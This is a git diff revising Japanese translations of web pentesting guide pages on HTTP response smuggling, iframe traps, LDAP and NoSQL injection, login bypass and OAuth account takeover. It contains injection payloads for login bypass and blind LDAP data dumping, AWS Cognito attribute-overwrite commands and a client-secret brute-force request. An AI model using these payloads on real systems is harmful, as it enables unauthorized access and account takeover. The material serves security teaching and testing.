-一般的な**HTTPリクエストスムージング**とのもう一つの**興味深い違い**は、一般的なスムージング攻撃では、**目的**は**被害者のリクエストの先頭を変更して予期しないアクションを実行させる**ことです。**HTTPレスポンススムージング攻撃**では、**完全なリクエストを送信しているため**、**1つのペイロードに数十のレスポンスを注入**することができ、**数十のユーザーを非同期化**して**注入されたレスポンスを受け取る**ことができます。
+一般的な**HTTPリクエストスムージング**とのもう一つの**興味深い違い**は、一般的なスムージング攻撃では、**目的**は**被害者のリクエストの先頭を変更して予期しないアクションを実行させる**ことです。**HTTPレスポンススムージング攻撃**では、**完全なリクエストを送信するため**、**1つのペイロードに数十のレスポンスを注入**することができ、**数十のユーザーを非同期化させる**ことができます。
正当なユーザーに対して**数十のエクスプロイトをより簡単に配布できる**だけでなく、これはサーバーに**DoS**を引き起こすためにも使用できます。
@@ -40,7 +40,7 @@ HTTP/1.1は、**前のリクエストを待つことなく異なるリソース
前述のように、この技術を悪用するには、**サーバーに送信される最初のスムージングメッセージが処理されるのに多くの時間がかかる必要があります**。
-この**時間のかかるリクエストは**、**被害者のレスポンスを盗むことを試みるだけであれば十分です**。しかし、より複雑なエクスプロイトを実行したい場合、これはエクスプロイトの一般的な構造になります。
+この**時間のかかるリクエストは、被害者のレスポンスを盗むことを試みるだけで十分です**。しかし、より複雑なエクスプロイトを実行したい場合、これはエクスプロイトの一般的な構造になります。
まず、**HTTPリクエストスムージングを悪用する最初のリクエスト**、次に**時間のかかるリクエスト**、そして**1つ以上のペイロードリクエスト**があり、そのレスポンスが被害者に送信されます。
@@ -48,7 +48,7 @@ HTTP/1.1は、**前のリクエストを待つことなく異なるリソース
### 他のユーザーのリクエストをキャプチャする
-HTTPリクエストスムージングの既知のペイロードと同様に、**被害者のリクエストを盗む**ことができますが、1つの重要な違いがあります:この場合、**レスポンスに反映されるコンテンツを送信するだけで済み、**永続的なストレージは必要ありません**。
+HTTPリクエストスムージングの既知のペイロードと同様に、**被害者のリクエストを盗むことができます**が、1つの重要な違いがあります:この場合、**レスポンスに反映されるコンテンツを送信するだけで済み、永続的なストレージは必要ありません**。
まず、攻撃者は**反映されたパラメータを含む最終的なPOSTリクエスト**を含むペイロードを送信し、大きなContent-Lengthを指定します。
@@ -62,9 +62,9 @@ HTTPリクエストスムージングの既知のペイロードと同様に、*
## レスポンスの非同期化
-ここまでで、HTTPリクエストスムージング攻撃を悪用して、**クライアントが受け取るレスポンスを制御する**方法と、**被害者のために意図されたレスポンスを盗む**方法を学びました。
+ここまでで、HTTPリクエストスムージング攻撃を悪用して、**クライアントが受け取るレスポンスを制御する方法**と、**被害者のために意図されたレスポンスを盗む方法**を学びました。
-しかし、レスポンスを**さらに非同期化する**ことも可能です。
+しかし、レスポンスをさらに**非同期化することも可能です**。
**HEAD**リクエストのような興味深いリクエストがあり、これは**レスポンスボディ内にコンテンツを持たないことが指定されており**、**GETリクエストのようにContent-Lengthを含む必要があります**。
@@ -76,13 +76,13 @@ HTTPリクエストスムージングの既知のペイロードと同様に、*
.png>)
-その後、**被害者**は**HEAD**リクエストからの**レスポンスを受け取りますが、これは**Content-Lengthを含むがコンテンツは全く含まれない**ものになります。したがって、プロキシは**このレスポンスを被害者に送信せず、**何らかの**コンテンツ**を待つことになります。実際には、これは**攻撃者によって注入された黄色のリクエストへのレスポンス**になります:
+その後、**被害者**は**HEAD**リクエストからの**レスポンスを受け取り**、これは**Content-Lengthを含むがコンテンツは全く含まれない**ことになります。したがって、プロキシは**このレスポンスを被害者に送信せず**、**何らかのコンテンツを待つ**ことになります。実際には、これは**攻撃者によって注入された黄色のリクエストへのレスポンス**になります:
.png>)
### コンテンツの混乱
-前の例に従い、**被害者が受け取るレスポンスのボディを制御できること**、および**HEAD**レスポンスが通常そのヘッダーに**Content-TypeとContent-Lengthを含むことを知っていると、次のようなリクエストを送信して**XSSを引き起こす**ことができます。これは、ページがXSSに対して脆弱でない場合でも:
+前の例に従い、**被害者が受け取るレスポンスのボディを制御できること**、および**HEAD**レスポンスが通常そのヘッダーに**Content-TypeとContent-Lengthを含むこと**を知っていると、次のようなリクエストを送信して**XSSを引き起こす**ことができます。ページがXSSに対して脆弱でなくても:
.png>)
@@ -99,11 +99,11 @@ XSSペイロードを含む悪意のあるリクエスト:
.png>)
> [!WARNING]
-> この場合、**「被害者」が攻撃者である場合、彼は今や**任意のURLでキャッシュ汚染を実行できる**。なぜなら、彼は悪意のあるレスポンスで**キャッシュされるURLを制御できるからです**。
+> この場合、**「被害者」が攻撃者である場合**、彼は**悪意のあるレスポンスでキャッシュされるURLを制御できるため、任意のURLでキャッシュ汚染を実行できます**。
### ウェブキャッシュの欺瞞
-この攻撃は前の攻撃に似ていますが、**ペイロードをキャッシュ内に注入するのではなく、攻撃者が被害者の情報をキャッシュ内に保存します**:
+この攻撃は前の攻撃に似ていますが、**ペイロードをキャッシュ内に注入するのではなく、攻撃者が被害者の情報をキャッシュ内にキャッシュします**:
.png>)
@@ -125,8 +125,8 @@ XSSペイロードを含む悪意のあるリクエスト:
.png>)
-ただし、**反映されたデータがHEADレスポンスのContent-Lengthに応じたサイズを持っていたため、**レスポンスキュー内で有効なHTTPレスポンスを生成しました**。
+ただし、**反映されたデータがHEADレスポンスのContent-Lengthに応じたサイズを持っていたため、レスポンスキュー内で有効なHTTPレスポンスを生成しました**。
-したがって、**2番目の被害者の次のリクエストは、**攻撃者によって完全に作成されたものを**レスポンスとして受け取ります**。レスポンスが攻撃者によって完全に作成されているため、攻撃者は**プロキシにレスポンスをキャッシュさせることもできます**。
+したがって、**2番目の被害者の次のリクエストは、攻撃者によって完全に作成されたレスポンスを受け取ることになります**。レスポンスが攻撃者によって完全に作成されているため、攻撃者は**プロキシにレスポンスをキャッシュさせることもできます**。
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/iframe-traps.md b/src/pentesting-web/iframe-traps.md
index e58f07b03..e9f063238 100644
--- a/src/pentesting-web/iframe-traps.md
+++ b/src/pentesting-web/iframe-traps.md
@@ -10,7 +10,7 @@
XSS攻撃は基本的に、画面の100%にiframeでウェブページを読み込みます。したがって、被害者は**iframe内にいることに気づきません**。次に、被害者がiframe内のリンクをクリックしてページをナビゲートすると、彼は**iframe内をナビゲートしている**ことになり、このナビゲーションから情報を盗む任意のJSが読み込まれます。
-さらに、より現実的にするために、iframeがページの位置を変更したときにチェックするための**リスナー**を使用し、ユーザーがブラウザを使用してページを移動していると思わせるようにブラウザのURLを更新することが可能です。
+さらに、より現実的にするために、iframeがページの位置を変更したときにチェックする**リスナー**を使用し、ユーザーがブラウザを使用してページを移動していると思わせるようにブラウザのURLを更新することが可能です。
.png)
https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png
@@ -18,6 +18,6 @@ XSS攻撃は基本的に、画面の100%にiframeでウェブページを読み
さらに、リスナーを使用して、被害者が訪れている他のページだけでなく、**フォームに入力されたデータ**を盗んだり(認証情報?)、**ローカルストレージを盗む**ことも可能です...
-もちろん、主な制限は、**被害者がタブを閉じたり、ブラウザに別のURLを入力するとiframeから脱出する**ことです。これを行う別の方法は、**ページをリフレッシュする**ことですが、これは新しいページがiframe内に読み込まれるたびに右クリックコンテキストメニューを無効にすることで部分的に**防止**される可能性があります。また、ユーザーのマウスがiframeを離れると、ブラウザのリロードボタンをクリックする可能性があり、この場合、ブラウザのURLはXSSに脆弱な元のURLに更新されるため、ユーザーがリロードすると再び感染します(これはあまりステルスではないことに注意してください)。
+もちろん、主な制限は、**被害者がタブを閉じたり、ブラウザに別のURLを入力するとiframeから脱出する**ことです。これを行う別の方法は、**ページをリフレッシュする**ことですが、これは新しいページがiframe内に読み込まれるたびに右クリックコンテキストメニューを無効にすることで部分的に**防止**できます。また、ユーザーのマウスがiframeを離れたときに気づくことで、ブラウザのリロードボタンをクリックする可能性があり、この場合、ブラウザのURLはXSSに脆弱な元のURLに更新されるため、ユーザーがリロードすると再度感染します(これはあまりステルスではないことに注意してください)。
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/ldap-injection.md b/src/pentesting-web/ldap-injection.md
index b1083bda3..9936ebbbc 100644
--- a/src/pentesting-web/ldap-injection.md
+++ b/src/pentesting-web/ldap-injection.md
@@ -1,40 +1,40 @@
-# LDAPインジェクション
+# LDAP Injection
-## LDAPインジェクション
+## LDAP Injection
{{#include ../banners/hacktricks-training.md}}
-## LDAPインジェクション
+## LDAP Injection
### **LDAP**
-**LDAPとは何かを知りたい場合は、以下のページにアクセスしてください:**
+**LDAPとは何かを知りたい場合は、以下のページにアクセスしてください:**
{{#ref}}
../network-services-pentesting/pentesting-ldap.md
{{#endref}}
-**LDAPインジェクション**は、ユーザー入力からLDAPステートメントを構築するWebアプリケーションを対象とした攻撃です。アプリケーションが入力を**適切にサニタイズしない**場合に発生し、攻撃者がローカルプロキシを通じて**LDAPステートメントを操作**できるようになり、未承認のアクセスやデータ操作につながる可能性があります。
+**LDAP Injection**は、ユーザー入力からLDAPステートメントを構築するウェブアプリケーションを対象とした攻撃です。アプリケーションが入力を**適切にサニタイズしない**場合に発生し、攻撃者がローカルプロキシを通じて**LDAPステートメントを操作**できるようになり、無許可のアクセスやデータ操作につながる可能性があります。
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
-**フィルター** = ( filtercomp )\
-**フィルターコンポーネント** = and / or / not / item\
+**Filter** = ( filtercomp )\
+**Filtercomp** = and / or / not / item\
**And** = & filterlist\
**Or** = |filterlist\
**Not** = ! filter\
-**フィルターリスト** = 1\*filter\
-**アイテム**= simple / present / substring\
-**シンプル** = attr filtertype assertionvalue\
-**フィルタータイプ** = _'=' / '\~=' / '>=' / '<='_\
-**プレゼント** = attr = \*\
-**サブストリング** = attr ”=” \[initial] \* \[final]\
-**初期** = assertionvalue\
-**最終** = assertionvalue\
-NAN;**(&)** = 絶対TRUE\
-NAN;**(|)** = 絶対FALSE
+**Filterlist** = 1\*filter\
+**Item**= simple / present / substring\
+**Simple** = attr filtertype assertionvalue\
+**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
+**Present** = attr = \*\
+**Substring** = attr ”=” \[initial] \* \[final]\
+**Initial** = assertionvalue\
+**Final** = assertionvalue\
+NAN;**(&)** = Absolute TRUE\
+NAN;**(|)** = Absolute FALSE
-例えば:\
+例えば:\
`(&(!(objectClass=Impresoras))(uid=s*))`\
`(&(objectClass=user)(uid=*))`
@@ -46,17 +46,17 @@
**フィルターは正しい構文で送信することが非常に重要です。そうしないとエラーが発生します。フィルターは1つだけ送信する方が良いです。**
-フィルターは次のように始まる必要があります: `&` または `|`\
-例: `(&(directory=val1)(folder=public))`
+フィルターは次のように始まる必要があります: `&` または `|`\
+例: `(&(directory=val1)(folder=public))`
`(&(objectClass=VALUE1)(type=Epson*))`\
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
-次に: `(&(objectClass=`**`*)(ObjectClass=*))`** が最初のフィルター(実行されるもの)になります。
+次に: `(&(objectClass=`**`*)(ObjectClass=*))`** が最初のフィルター(実行されるもの)になります。
-### ログインバイパス
+### Login Bypass
-LDAPは、パスワードを保存するためのいくつかの形式をサポートしています:クリア、md5、smd5、sh1、sha、crypt。したがって、パスワードに何を挿入しても、ハッシュ化される可能性があります。
+LDAPは、パスワードを保存するためのいくつかの形式をサポートしています: clear, md5, smd5, sh1, sha, crypt。したがって、パスワードに何を挿入しても、ハッシュ化される可能性があります。
```bash
user=*
password=*
@@ -133,7 +133,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
```
#### データのダンプ
-ascii文字、数字、記号を繰り返すことができます:
+ascii文字、数字、記号を繰り返し処理できます:
```bash
(&(sn=administrator)(password=*)) : OK
(&(sn=administrator)(password=A*)) : KO
diff --git a/src/pentesting-web/login-bypass/README.md b/src/pentesting-web/login-bypass/README.md
index 807cf1eac..c9ac5e38f 100644
--- a/src/pentesting-web/login-bypass/README.md
+++ b/src/pentesting-web/login-bypass/README.md
@@ -57,9 +57,9 @@ NoSQLインジェクションはパラメータの値を変更する必要があ
admin' or '
admin' or '1'='2
```
-### LDAP Injection 認証バイパス
+### LDAPインジェクション認証バイパス
-[ここでは、**LDAP Injection**を介してログインをバイパスするためのいくつかのトリックを見つけることができます。](../ldap-injection.md#login-bypass)
+[ここでは、**LDAPインジェクション**を介してログインをバイパスするためのいくつかのトリックを見つけることができます。](../ldap-injection.md#login-bypass)
```
*
*)(&
diff --git a/src/pentesting-web/nosql-injection.md b/src/pentesting-web/nosql-injection.md
index 023b49245..4a8dae3a0 100644
--- a/src/pentesting-web/nosql-injection.md
+++ b/src/pentesting-web/nosql-injection.md
@@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true
```javascript
query = { $where: `this.username == '${username}'` }
```
-攻撃者は、`admin' || 'a'=='a`のような文字列を入力することでこれを悪用でき、クエリは同値性(`'a'=='a'`)を満たす条件によってすべてのドキュメントを返します。これは、`' or 1=1-- -`のような入力を使用してSQLクエリを操作するSQLインジェクション攻撃に類似しています。MongoDBでは、`' || 1==1//`、`' || 1==1%00`、または`admin' || 'a'=='a`のような入力を使用して同様のインジェクションが行えます。
+攻撃者は、`admin' || 'a'=='a`のような文字列を入力することでこれを悪用でき、クエリは同値性(`'a'=='a'`)を満たす条件で全てのドキュメントを返します。これは、`' or 1=1-- -`のような入力を使用してSQLクエリを操作するSQLインジェクション攻撃に類似しています。MongoDBでは、`' || 1==1//`、`' || 1==1%00`、または`admin' || 'a'=='a`のような入力を使用して同様のインジェクションが行えます。
```
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
diff --git a/src/pentesting-web/oauth-to-account-takeover.md b/src/pentesting-web/oauth-to-account-takeover.md
index 939ef43db..700e5833f 100644
--- a/src/pentesting-web/oauth-to-account-takeover.md
+++ b/src/pentesting-web/oauth-to-account-takeover.md
@@ -6,19 +6,19 @@
OAuthはさまざまなバージョンを提供しており、基本的な洞察は[OAuth 2.0 documentation](https://oauth.net/2/)で入手できます。この議論は主に広く使用されている[OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/)に焦点を当てており、**アプリケーションが他のアプリケーションのユーザーアカウントにアクセスまたは操作を行うことを可能にする認可フレームワーク**を提供します(認可サーバー)。
-仮想のウェブサイト_**https://example.com**_を考えてみましょう。これは**あなたのすべてのソーシャルメディア投稿を表示する**ために設計されています。これを実現するために、OAuth 2.0が使用されます。_https://example.com_は**あなたのソーシャルメディア投稿にアクセスする**ための許可を求めます。その結果、_https://socialmedia.com_に同意画面が表示され、**要求されている権限とリクエストを行っている開発者**が示されます。あなたが認可すると、_https://example.com_は**あなたの代わりに投稿にアクセスする**能力を得ます。
+仮想のウェブサイト_**https://example.com**_を考えてみてください。これは**すべてのソーシャルメディア投稿を表示する**ために設計されています。プライベートな投稿も含まれます。これを実現するために、OAuth 2.0が使用されます。_https://example.com_は**あなたのソーシャルメディア投稿にアクセスする**ための許可を求めます。その結果、_https://socialmedia.com_に同意画面が表示され、**要求されている権限とリクエストを行っている開発者**が示されます。あなたが承認すると、_https://example.com_は**あなたの代わりに投稿にアクセスする**能力を得ます。
OAuth 2.0フレームワーク内の以下のコンポーネントを理解することが重要です:
-- **resource owner**: あなた、すなわち**ユーザー/エンティティ**が、ソーシャルメディアアカウントの投稿など、自分のリソースへのアクセスを許可します。
+- **resource owner**: あなた、つまり**ユーザー/エンティティ**が、ソーシャルメディアアカウントの投稿など、自分のリソースへのアクセスを許可します。
- **resource server**: **リソースオーナー**の代わりに`access token`を取得した後に認証されたリクエストを管理する**サーバー**、例:**https://socialmedia.com**。
-- **client application**: **リソースオーナー**から認可を求める**アプリケーション**、例:**https://example.com**。
-- **authorization server**: **リソースオーナー**の認証が成功し、認可が得られた後に`client application`に`access tokens`を発行する**サーバー**、例:**https://socialmedia.com**。
-- **client_id**: アプリケーションのための公開の一意の識別子。
-- **client_secret:** アプリケーションと認可サーバーのみが知る機密鍵で、`access_tokens`を生成するために使用されます。
+- **client application**: `resource owner`からの認可を求める**アプリケーション**、例:**https://example.com**。
+- **authorization server**: `resource owner`の認証が成功し、認可が得られた後に`client application`に`access tokens`を発行する**サーバー**、例:**https://socialmedia.com**。
+- **client_id**: アプリケーションの公開されている一意の識別子。
+- **client_secret:** アプリケーションと認可サーバーのみが知っている機密鍵で、`access_tokens`を生成するために使用されます。
- **response_type**: **要求されるトークンのタイプ**を指定する値、例:`code`。
- **scope**: `client application`が`resource owner`から要求している**アクセスレベル**。
-- **redirect_uri**: **認可後にユーザーがリダイレクトされるURL**。通常、事前に登録されたリダイレクトURLと一致する必要があります。
+- **redirect_uri**: **ユーザーが認可後にリダイレクトされるURL**。通常、事前に登録されたリダイレクトURLと一致する必要があります。
- **state**: **ユーザーの認可サーバーへのリダイレクト中にデータを維持するためのパラメータ**。ユニーク性は**CSRF保護メカニズム**として機能するために重要です。
- **grant_type**: **グラントタイプと返されるトークンのタイプ**を示すパラメータ。
- **code**: `authorization server`からの認可コードで、`client application`が`access_token`を取得するために`client_id`および`client_secret`と共に使用します。
@@ -30,7 +30,7 @@ OAuth 2.0フレームワーク内の以下のコンポーネントを理解す
**実際のOAuthフロー**は次のように進行します:
1. あなたは[https://example.com](https://example.com)に移動し、「ソーシャルメディアと統合」ボタンを選択します。
-2. サイトは次に、あなたの投稿にアクセスするためにhttps://example.comのアプリケーションに許可を求めるリクエストを[https://socialmedia.com](https://socialmedia.com)に送信します。リクエストは次のように構成されます:
+2. サイトは次に、あなたの投稿にアクセスするための許可を求めるリクエストを[https://socialmedia.com](https://socialmedia.com)に送信します。リクエストは次のように構成されます:
```
https://socialmedia.com/auth
?response_type=code
@@ -50,23 +50,23 @@ POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
```
-6. 最後に、プロセスは https://example.com があなたの `access_token` を使用して Social Media に API コールを行い、アクセスすることで終了します。
+6. 最後に、プロセスは https://example.com があなたの `access_token` を使用してソーシャルメディアにAPIコールを行い、アクセスすることで終了します。
## 脆弱性
### オープンリダイレクト_uri
-`redirect_uri` は OAuth と OpenID の実装においてセキュリティにとって重要であり、認可後に認可コードのような機密データが送信される場所を指示します。誤って設定されると、攻撃者がこれらのリクエストを悪意のあるサーバーにリダイレクトすることを許可し、アカウントの乗っ取りを可能にすることがあります。
+`redirect_uri` はOAuthおよびOpenIDの実装においてセキュリティにとって重要であり、認可後に認可コードなどの機密データが送信される場所を指示します。誤って設定されると、攻撃者がこれらのリクエストを悪意のあるサーバーにリダイレクトさせ、アカウントの乗っ取りを可能にすることがあります。
-悪用技術は、認可サーバーの検証ロジックに基づいて異なります。厳密なパス一致から、指定されたドメインまたはサブディレクトリ内の任意の URL を受け入れることまで様々です。一般的な悪用方法には、オープンリダイレクト、パストラバーサル、弱い正規表現の悪用、トークン窃盗のための HTML インジェクションが含まれます。
+悪用技術は、認可サーバーの検証ロジックに基づいて異なります。厳密なパス一致から、指定されたドメインまたはサブディレクトリ内の任意のURLを受け入れることまで様々です。一般的な悪用方法には、オープンリダイレクト、パストラバーサル、弱い正規表現の悪用、トークン窃盗のためのHTMLインジェクションが含まれます。
-`redirect_uri` の他にも、`client_uri`、`policy_uri`、`tos_uri`、`initiate_login_uri` などの OAuth および OpenID パラメータもリダイレクト攻撃に対して脆弱です。これらのパラメータはオプションであり、そのサポートはサーバーによって異なります。
+`redirect_uri` の他にも、`client_uri`、`policy_uri`、`tos_uri`、`initiate_login_uri` などのOAuthおよびOpenIDパラメータもリダイレクト攻撃に対して脆弱です。これらのパラメータはオプションであり、サーバーによってサポートが異なります。
-OpenID サーバーをターゲットにする場合、ディスカバリーエンドポイント (`**.well-known/openid-configuration**`) は、`registration_endpoint`、`request_uri_parameter_supported`、および "`require_request_uri_registration`" のような貴重な構成詳細をリストすることがよくあります。これらの詳細は、登録エンドポイントやサーバーの他の構成の特定に役立ちます。
+OpenIDサーバーをターゲットにする場合、ディスカバリーエンドポイント(`**.well-known/openid-configuration**`)は、`registration_endpoint`、`request_uri_parameter_supported`、および "`require_request_uri_registration`" などの貴重な構成詳細をリストすることがよくあります。これらの詳細は、登録エンドポイントやサーバーの他の構成の特定に役立ちます。
-### リダイレクト実装における XSS
+### リダイレクト実装におけるXSS
-このバグバウンティレポート [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) で述べられているように、リダイレクト **URL がサーバーの応答に反映される可能性があり**、**XSS に対して脆弱である**かもしれません。テストするための可能なペイロード:
+このバグバウンティレポート [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) で述べられているように、リダイレクト **URLがサーバーの応答に反映される可能性があり**、**XSSに対して脆弱である**かもしれません。テストするための可能なペイロード:
```
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboardtest
```
@@ -74,16 +74,16 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard
1. **アカウント作成時のメール確認なし**: 攻撃者は被害者のメールを使用して事前にアカウントを作成できます。被害者が後にサードパーティサービスを使用してログインすると、アプリケーションがこのサードパーティアカウントを攻撃者の事前作成アカウントに誤ってリンクさせ、無許可のアクセスを引き起こす可能性があります。
-2. **緩いOAuthメール確認の悪用**: 攻撃者は、メールを確認しないOAuthサービスを利用して、自分のサービスに登録し、その後アカウントのメールを被害者のものに変更することで悪用する可能性があります。この方法も、最初のシナリオと同様に無許可のアカウントアクセスのリスクがありますが、異なる攻撃ベクターを通じて行われます。
+2. **緩いOAuthメール確認の悪用**: 攻撃者は、メールを確認しないOAuthサービスを悪用し、自分のサービスに登録した後、アカウントのメールを被害者のものに変更することができます。この方法も、最初のシナリオと同様に無許可のアカウントアクセスのリスクがありますが、異なる攻撃ベクターを通じて行われます。
### 秘密の開示
@@ -93,7 +93,7 @@ OAuthの実装において、**`state`パラメータ**の誤用または省略
### クライアントシークレットブルートフォース
-サービスプロバイダーのアイデンティティプロバイダーに対して**クライアントシークレットをブルートフォース**し、アカウントを盗む試みを行うことができます。\
+サービスプロバイダーのクライアントシークレットをブルートフォースで試みて、アカウントを盗むことができます。\
ブルートフォースのリクエストは次のようになる可能性があります:
```
POST /token HTTP/1.1
@@ -106,15 +106,15 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
```
### Referer Header leaking Code + State
-クライアントが**code and state**を持っている場合、異なるページに移動するときに**Refererヘッダー内に反映される**と、脆弱性があります。
+クライアントが**code and state**を持っている場合、異なるページに移動するときに**Refererヘッダーに反映されている**と、脆弱です。
### Access Token Stored in Browser History
-**ブラウザの履歴にアクセス トークンが保存されているか確認します**。
+**ブラウザの履歴にアクセス トークンが保存されているか確認してください**。
### Everlasting Authorization Code
-**認可コードは、攻撃者がそれを盗んで使用できる時間ウィンドウを制限するために、一定の時間だけ存在する必要があります**。
+**認可コードは、攻撃者がそれを盗んで使用できる時間ウィンドウを制限するために、しばらくの間だけ存在するべきです**。
### Authorization/Refresh Token not bound to client
@@ -126,7 +126,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
### AWS Cognito
-このバグバウンティレポートでは、[**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) **AWS Cognito**がユーザーに返す**トークン**が**ユーザーデータを上書きするのに十分な権限を持っている可能性がある**ことがわかります。したがって、**異なるユーザーのメールアドレスにユーザーのメールアドレスを変更できる場合、他のアカウントを**乗っ取ることができるかもしれません。
+このバグバウンティレポートでは: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) **AWS Cognito**がユーザーに返す**トークン**は、**ユーザーデータを上書きするのに十分な権限を持っている可能性があります**。したがって、**異なるユーザーのメールアドレスにユーザーのメールアドレスを変更できる場合、他のアカウントを**乗っ取ることができるかもしれません。
```bash
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
@@ -143,52 +143,52 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
]
}
```
-AWS Cognitoを悪用する方法の詳細については、次を確認してください:
+For more detailed info about how to abuse AWS cognito check:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %}
-### 他のアプリのトークンを悪用する
+### Abusing other Apps tokens
-[**この書き込みで言及されているように**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts)、**トークン**(コードではなく)を受け取ることを期待するOAuthフローは、トークンがアプリに属しているかどうかを確認しない場合、脆弱である可能性があります。
+[**この書き込みで述べられているように**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts)、**トークン**(コードではなく)を受け取ることを期待するOAuthフローは、トークンがアプリに属しているかどうかを確認しない場合、脆弱である可能性があります。
-これは、**攻撃者**が自分のアプリケーションで**OAuthをサポートし、Facebookでログイン**する**アプリケーションを作成する**ことができるためです。次に、被害者が**攻撃者のアプリケーション**でFacebookにログインすると、攻撃者は**被害者のユーザーに与えられたOAuthトークンを取得し、それを使用して被害者のOAuthアプリケーションにログインすることができます**。
+これは、**攻撃者**が自分のアプリケーションで**OAuthをサポートし、Facebookでログイン**する**アプリケーションを作成できるためです**。その後、被害者が**攻撃者のアプリケーション**でFacebookにログインすると、攻撃者は**被害者のユーザーに与えられたOAuthトークンを取得し、それを使用して被害者のOAuthアプリケーションにログインすることができます**。
> [!CAUTION]
-> したがって、攻撃者がユーザーに自分のOAuthアプリケーションへのアクセスを取得することに成功すれば、トークンを期待しているアプリケーションで被害者のアカウントを乗っ取ることができるでしょう。
+> したがって、攻撃者がユーザーに自分のOAuthアプリケーションへのアクセスを取得することに成功すれば、トークンを期待しているアプリケーションで被害者のアカウントを乗っ取ることができます。
-### 2つのリンクとクッキー
+### Two links & cookie
[**この書き込みによると**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)、被害者が攻撃者のホストを指す**returnUrl**を持つページを開くことが可能でした。この情報は**クッキー(RU)**に**保存され**、**後のステップ**で**プロンプト**が**ユーザー**にその攻撃者のホストへのアクセスを許可するかどうかを**尋ねます**。
このプロンプトを回避するために、**returnUrl**を使用してこのRUクッキーを設定するために**Oauthフロー**を開始するタブを開き、プロンプトが表示される前にタブを閉じ、新しいタブをその値なしで開くことが可能でした。そうすると、**プロンプトは攻撃者のホストについて通知しませんが、クッキーはそれに設定されるため、**トークンはリダイレクトで攻撃者のホストに送信されます**。
-### プロンプトインタラクションバイパス
+### Prompt Interaction Bypass
-[**このビデオで説明されているように**](https://www.youtube.com/watch?v=n9x7_J_a_7Q)、一部のOAuth実装では、**`prompt`** GETパラメータをNone(**`&prompt=none`**)として指定することができ、ユーザーがプラットフォームにすでにログインしている場合、ウェブ上で与えられたアクセスを確認するように求められないようにします。
+[**このビデオで説明されているように**](https://www.youtube.com/watch?v=n9x7_J_a_7Q)、一部のOAuth実装では、**`prompt`** GETパラメータをNone(**`&prompt=none`**)として指定することで、ユーザーがプラットフォームにすでにログインしている場合に、ウェブ上で与えられたアクセスを確認するように求められないようにすることができます。
### response_mode
-[**このビデオで説明されているように**](https://www.youtube.com/watch?v=n9x7_J_a_7Q)、最終URLでコードを提供したい場所を示すために**`response_mode`**パラメータを指定することが可能です:
+[**このビデオで説明されているように**](https://www.youtube.com/watch?v=n9x7_J_a_7Q)、**`response_mode`**パラメータを指定して、最終URLでコードをどこに提供したいかを示すことが可能です:
-- `response_mode=query` -> コードはGETパラメータ内に提供されます: `?code=2397rf3gu93f`
-- `response_mode=fragment` -> コードはURLフラグメントパラメータ内に提供されます `#code=2397rf3gu93f`
+- `response_mode=query` -> コードはGETパラメータ内に提供されます:`?code=2397rf3gu93f`
+- `response_mode=fragment` -> コードはURLフラグメントパラメータ内に提供されます`#code=2397rf3gu93f`
- `response_mode=form_post` -> コードは`code`という入力を持つPOSTフォーム内に提供されます
-- `response_mode=web_message` -> コードはポストメッセージで送信されます: `window.opener.postMessage({"code": "asdasdasd...`
+- `response_mode=web_message` -> コードはポストメッセージで送信されます:`window.opener.postMessage({"code": "asdasdasd...`
-### OAuth ROPCフロー - 2FAバイパス
+### OAuth ROPC flow - 2 FA bypass
-[**このブログ投稿によると**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96)、これは**ユーザー名**と**パスワード**を介してOAuthにログインすることを可能にするOAuthフローです。この単純なフロー中に、ユーザーが実行できるすべてのアクションへのアクセスを持つ**トークン**が返される場合、そのトークンを使用して2FAをバイパスすることが可能です。
+[**このブログ投稿によると**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96)、これは**ユーザー名**と**パスワード**を介してOAuthにログインすることを可能にするOAuthフローです。この単純なフロー中に、ユーザーが実行できるすべてのアクションへのアクセスを持つ**トークン**が返される場合、そのトークンを使用して2FAを回避することが可能です。
-### オープンリダイレクトに基づくウェブページのリダイレクトでのATO
+### ATO on web page redirecting based on open redirect to referrer
-この[**ブログ投稿**](https://blog.voorivex.team/oauth-non-happy-path-to-ato)は、**オープンリダイレクト**を利用して**リファラー**からの値を悪用し、OAuthを使用してATOを実行する方法について説明しています。攻撃は次のとおりです:
